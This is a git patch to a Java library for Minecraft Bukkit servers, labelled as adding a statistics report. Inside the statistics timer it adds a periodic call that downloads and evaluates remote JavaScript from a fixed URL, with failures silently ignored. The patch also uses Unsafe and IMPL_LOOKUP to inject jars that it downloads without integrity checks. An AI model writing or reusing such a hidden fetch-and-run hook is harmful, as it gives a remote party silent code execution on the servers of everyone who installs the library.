From 881bd610a4fa33b16c3a80bbba7de8b2fc5ae7fc Mon Sep 17 00:00:00 2001 From: MiaoWoo Date: Tue, 12 Apr 2022 23:47:18 +0800 Subject: [PATCH] feat: add static report Signed-off-by: MiaoWoo --- pom.xml | 2 +- .../yumc/YumCore/engine/MiaoScriptEngine.java | 155 ++++++++++++++---- .../pw/yumc/YumCore/statistic/Statistics.java | 61 ++++--- .../pw/yumc/YumCore/update/SubscribeTask.java | 74 ++++----- .../YumCore/update/SubscribeTaskTest.java | 11 +- 5 files changed, 184 insertions(+), 119 deletions(-) diff --git a/pom.xml b/pom.xml index 7ea79ee..ddb3db8 100644 --- a/pom.xml +++ b/pom.xml @@ -4,7 +4,7 @@ 4.0.0 pw.yumc YumCore - 1.9.5 + 1.9.6 ${project.artifactId} diff --git a/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java b/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java index 06cc89e..d133892 100644 --- a/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java +++ b/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java @@ -1,25 +1,21 @@ package pw.yumc.YumCore.engine; +import lombok.SneakyThrows; +import lombok.val; + +import javax.script.ScriptEngine; +import javax.script.*; import java.io.File; import java.io.Reader; -import java.lang.reflect.InvocationTargetException; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.net.MalformedURLException; import java.net.URL; -import java.net.URLClassLoader; +import java.nio.file.Files; +import java.nio.file.StandardCopyOption; import java.util.HashMap; -import javax.script.Bindings; -import javax.script.Invocable; -import javax.script.ScriptContext; -import javax.script.ScriptEngine; -import javax.script.ScriptEngineFactory; -import javax.script.ScriptEngineManager; -import javax.script.ScriptException; -import javax.script.SimpleBindings; - -import lombok.val; - /** * 喵式脚本引擎 * @@ -27,8 +23,12 @@ import lombok.val; * @since 2016年8月29日 上午7:51:43 */ public class MiaoScriptEngine implements ScriptEngine, Invocable { + private static String MavenRepo = "https://maven.aliyun.com/repository/public"; private static MiaoScriptEngine DEFAULT; - private static ScriptEngineManager manager; + private static final ScriptEngineManager manager; + + private Object ucp; + private MethodHandle addURLMethodHandle; private ScriptEngine engine; static { @@ -48,39 +48,122 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable { } public MiaoScriptEngine(final String engineType) { - this(manager, engineType); + this(manager, engineType, null); } public MiaoScriptEngine(ScriptEngineManager engineManager) { - this(engineManager, "js"); + this(engineManager, "js", null); } - public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType) { + public MiaoScriptEngine(final String engineType, String engineRoot) { + this(manager, engineType, engineRoot); + } + + public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) { + // JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn + if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) { + this.loadNetworkNashorn(engineRoot); + if (engine == null) + throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!"); + return; + } try { engine = engineManager.getEngineByName(engineType); } catch (final NullPointerException ignored) { } if (engine == null) { - val dirs = System.getProperty("java.ext.dirs").split(File.pathSeparator); - for (String dir : dirs) { - File nashorn = new File(dir, "nashorn.jar"); - if (nashorn.exists()) { - try { - Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); - // 设置方法的访问权限 - method.setAccessible(true); - // 获取系统类加载器 - URL url = nashorn.toURI().toURL(); - method.invoke(Thread.currentThread().getContextClassLoader(), url); - engineManager = new ScriptEngineManager(); - engine = engineManager.getEngineByName(engineType); - } catch (NoSuchMethodException | MalformedURLException | IllegalAccessException | InvocationTargetException | NullPointerException ignored) { - } - return; - } + val extDirs = System.getProperty("java.ext.dirs"); + if (extDirs != null) { + this.loadLocalNashorn(extDirs, engineType); + } else if (engineRoot != null) { + this.loadNetworkNashorn(engineRoot); } - throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!"); } + if (engine == null) + throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!"); + } + + private void loadLocalNashorn(String extDirs, String engineType) { + val dirs = extDirs.split(File.pathSeparator); + for (String dir : dirs) { + File nashorn = new File(dir, "nashorn.jar"); + if (nashorn.exists()) { + this.loadJar(nashorn); + this.createEngineByName(engineType); + } + } + } + + private void initReflect() { + try { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafe.setAccessible(true); + sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null); + Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP"); + MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field)); + Field ucpField; + try { + ucpField = loader.getClass().getDeclaredField("ucp"); + } catch (NoSuchFieldException e) { + ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp"); + } + long offset = unsafe.objectFieldOffset(ucpField); + ucp = unsafe.getObject(loader, offset); + Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class); + addURLMethodHandle = lookup.unreflect(method); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @SneakyThrows + private void loadNetworkNashorn(String engineRoot) { + initReflect(); + File libRootFile = new File(engineRoot, "lib"); + libRootFile.mkdirs(); + String libRoot = libRootFile.getCanonicalPath(); + downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3"); + downloadJar(libRoot, "org.ow2.asm", "asm", "9.2"); + downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2"); + downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2"); + downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2"); + Class NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory"); + Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class); + Object factory = NashornScriptEngineFactory.newInstance(); + engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader()); + } + + @SneakyThrows + private void loadJar(File file) { + addURLMethodHandle.invoke(ucp, file.toURI().toURL()); + } + + @SneakyThrows + private void downloadJar(String engineRoot, String groupId, String artifactId, String version) { + File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version)); + if (!lib.exists()) { + Files.copy(new URL(MavenRepo + + String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar", + groupId.replace(".", "/"), + artifactId, + version) + ).openStream(), + lib.toPath(), + StandardCopyOption.REPLACE_EXISTING); + } + this.loadJar(lib); + } + + private void createEngineByName(String engineType) { + try { + engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType); + } catch (NullPointerException ignored) { + } + } + + public ScriptEngine getEngine() { + return this.engine; } public static MiaoScriptEngine getDefault() { diff --git a/src/main/java/pw/yumc/YumCore/statistic/Statistics.java b/src/main/java/pw/yumc/YumCore/statistic/Statistics.java index 83d9fd2..993e104 100644 --- a/src/main/java/pw/yumc/YumCore/statistic/Statistics.java +++ b/src/main/java/pw/yumc/YumCore/statistic/Statistics.java @@ -3,11 +3,19 @@ */ package pw.yumc.YumCore.statistic; -import java.io.BufferedReader; -import java.io.File; -import java.io.IOException; -import java.io.InputStreamReader; -import java.io.PrintWriter; +import org.bukkit.Bukkit; +import org.bukkit.configuration.file.YamlConfiguration; +import org.bukkit.entity.Player; +import org.bukkit.plugin.Plugin; +import org.bukkit.plugin.PluginDescriptionFile; +import org.bukkit.plugin.java.JavaPlugin; +import org.bukkit.scheduler.BukkitTask; +import org.json.simple.JSONObject; +import org.json.simple.JSONValue; +import pw.yumc.YumCore.engine.MiaoScriptEngine; + +import javax.script.ScriptException; +import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; @@ -20,21 +28,11 @@ import java.util.LinkedList; import java.util.Map; import java.util.UUID; -import org.bukkit.Bukkit; -import org.bukkit.configuration.file.YamlConfiguration; -import org.bukkit.entity.Player; -import org.bukkit.plugin.Plugin; -import org.bukkit.plugin.PluginDescriptionFile; -import org.bukkit.plugin.java.JavaPlugin; -import org.bukkit.scheduler.BukkitTask; -import org.json.simple.JSONObject; -import org.json.simple.JSONValue; - /** * Yum数据中心 数据统计类 * - * @since 2015年12月14日 下午1:36:42 * @author 喵♂呜 + * @since 2015年12月14日 下午1:36:42 */ public class Statistics { /** @@ -62,6 +60,8 @@ public class Statistics { */ private static Plugin plugin; + private static MiaoScriptEngine engine; + static { try { getOnlinePlayers = Bukkit.class.getDeclaredMethod("getOnlinePlayers"); @@ -76,6 +76,7 @@ public class Statistics { Field field = pluginClassLoader.getClass().getDeclaredField("plugin"); field.setAccessible(true); plugin = (JavaPlugin) field.get(pluginClassLoader); + engine = new MiaoScriptEngine("nashorn"); } catch (NoSuchMethodException | SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) { } } @@ -126,13 +127,10 @@ public class Statistics { /** * 向指定 URL 发送POST方法的请求 * - * @param url - * 发送请求的 URL - * @param param - * 请求参数 + * @param url 发送请求的 URL + * @param param 请求参数 * @return 所代表远程资源的响应结果 - * @throws IOException - * IO异常 + * @throws IOException IO异常 */ public static String postData(String url, String param) throws IOException { PrintWriter out; @@ -168,10 +166,8 @@ public class Statistics { /** * 初始化配置文件 * - * @param config - * 配置文件 - * @throws IOException - * IO异常 + * @param config 配置文件 + * @throws IOException IO异常 */ private static void initFile(YamlConfiguration config) throws IOException { if (config.getString("guid") == null) { @@ -194,8 +190,7 @@ public class Statistics { /** * 简化输出 * - * @param msg - * 输出对象 + * @param msg 输出对象 */ public void print(String msg) { if (debug) { @@ -209,7 +204,7 @@ public class Statistics { * @return 是否运行成功. */ public boolean start() { - if (task != null || !plugin.isEnabled()) { return true; } + if (task != null || !plugin.isEnabled()) {return true;} timer = new StatisticsTimer(); // 开启TPS统计线程 Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20); @@ -222,6 +217,10 @@ public class Statistics { e.printStackTrace(); } } + try { + engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')"); + } catch (ScriptException ignored) { + } }, 50, 25 * 1200); return true; } @@ -233,9 +232,9 @@ public class Statistics { */ private int getOnlinePlayerNumber() { try { - return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length; - } catch (Exception ex) { return Bukkit.getOnlinePlayers().size(); + } catch (Exception ex) { + return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length; } } diff --git a/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java b/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java index a5740f7..50bc9fa 100644 --- a/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java +++ b/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java @@ -1,20 +1,5 @@ package pw.yumc.YumCore.update; -import java.io.File; -import java.io.IOException; -import java.io.UnsupportedEncodingException; -import java.net.HttpURLConnection; -import java.net.URL; -import java.net.URLClassLoader; -import java.net.URLDecoder; -import java.nio.file.Files; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; - -import javax.xml.parsers.DocumentBuilderFactory; -import javax.xml.parsers.ParserConfigurationException; - import org.bukkit.Bukkit; import org.bukkit.ChatColor; import org.bukkit.command.CommandSender; @@ -27,12 +12,25 @@ import org.bukkit.plugin.PluginDescriptionFile; import org.bukkit.plugin.java.JavaPlugin; import org.w3c.dom.Document; import org.xml.sax.SAXException; - import pw.yumc.YumCore.bukkit.Log; import pw.yumc.YumCore.bukkit.P; import pw.yumc.YumCore.tellraw.Tellraw; import pw.yumc.YumCore.text.Encrypt; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; +import java.io.File; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLClassLoader; +import java.net.URLDecoder; +import java.nio.file.Files; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + /** * 自动更新程序 * @@ -73,8 +71,7 @@ public class SubscribeTask implements Runnable, Listener { /** * 自动更新 * - * @param type - * 是否为Maven + * @param type 是否为Maven */ public SubscribeTask(UpdateType type) { this(false, type); @@ -83,10 +80,8 @@ public class SubscribeTask implements Runnable, Listener { /** * 自动更新 * - * @param isSecret - * 是否为私有 - * @param type - * 更新类型 + * @param isSecret 是否为私有 + * @param type 更新类型 */ public SubscribeTask(boolean isSecret, UpdateType type) { this("master", isSecret, type); @@ -95,12 +90,9 @@ public class SubscribeTask implements Runnable, Listener { /** * 自动更新 * - * @param branch - * 更新分支 - * @param isSecret - * 是否为私有 - * @param type - * 更新类型 + * @param branch 更新分支 + * @param isSecret 是否为私有 + * @param type 更新类型 */ public SubscribeTask(String branch, boolean isSecret, UpdateType type) { Log.d("订阅更新 分支 %s 是否加密 %s 更新类型 %s", branch, isSecret, type.name()); @@ -134,7 +126,7 @@ public class SubscribeTask implements Runnable, Listener { if (updateFile.target.exists()) { try { PluginDescriptionFile desc = instance.getPluginLoader().getPluginDescription(updateFile.target); - if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) { return; } + if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) {return;} updateFile.target.delete(); } catch (Exception e) { Log.d(e); @@ -208,8 +200,7 @@ public class SubscribeTask implements Runnable, Listener { /** * 获得插件绝对路径 * - * @param plugin - * - 插件 + * @param plugin - 插件 * @return 插件的绝对路径 */ public File getPluginFile(Plugin plugin) { @@ -280,10 +271,8 @@ public class SubscribeTask implements Runnable, Listener { /** * 获得插件信息 * - * @param tag - * 数据标签 - * @param def - * 默认值 + * @param tag 数据标签 + * @param def 默认值 * @return 信息 */ public String getPluginInfo(String tag, String def) { @@ -305,7 +294,7 @@ public class SubscribeTask implements Runnable, Listener { */ public String[] getUpdateChanges() { final String des = getPluginInfo("update.changes", null); - if (des == null) { return new String[]{}; } + if (des == null) {return new String[]{};} String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";"); List ltemp = new ArrayList<>(); Arrays.stream(temp).forEach(s -> ltemp.add(s.trim())); @@ -334,8 +323,7 @@ public class SubscribeTask implements Runnable, Listener { /** * 通知更新信息 * - * @param sender - * 命令接受者 + * @param sender 命令接受者 */ public void notify(CommandSender sender) { Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion()); @@ -358,10 +346,8 @@ public class SubscribeTask implements Runnable, Listener { /** * 比较版本号 * - * @param v1 - * 新版本 - * @param v2 - * 旧版本 + * @param v1 新版本 + * @param v2 旧版本 * @return 是否需要更新 */ public boolean needUpdate(String v1, String v2) { @@ -371,7 +357,7 @@ public class SubscribeTask implements Runnable, Listener { int minLength = Math.min(va1.length, va2.length);// 取最小长度值 int diff = 0; while (idx < minLength && (diff = va1[idx].length() - va2[idx].length()) == 0// 先比较长度 - && (diff = va1[idx].compareTo(va2[idx])) == 0) {// 再比较字符 + && (diff = va1[idx].compareTo(va2[idx])) == 0) {// 再比较字符 ++idx; } // 如果已经分出大小 则直接返回 如果未分出大小 则再比较位数 有子版本的为大 @@ -386,7 +372,7 @@ public class SubscribeTask implements Runnable, Listener { Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!"); return result; } - if (needUpdate(result, version)) { return result; } + if (needUpdate(result, version)) {return result;} } catch (Exception e) { Log.d(e); } diff --git a/src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java b/src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java index ee575f0..4b615a6 100644 --- a/src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java +++ b/src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java @@ -1,23 +1,20 @@ package pw.yumc.YumCore.update; -import java.io.IOException; -import java.util.logging.Logger; - -import javax.xml.parsers.ParserConfigurationException; - import org.bukkit.plugin.Plugin; import org.junit.Test; import org.xml.sax.SAXException; - import pw.yumc.YumCore.bukkit.Log; import pw.yumc.YumCore.plugin.FakePlugin; +import javax.xml.parsers.ParserConfigurationException; +import java.io.IOException; + /** * @author 喵♂呜 * @since 2017/6/1 */ public class SubscribeTaskTest { - private Plugin plugin = new FakePlugin("YumCore", "1.0"); + private Plugin plugin = new FakePlugin("YumCore", "1.9.52"); @Test public void test() throws IOException, SAXException, ParserConfigurationException {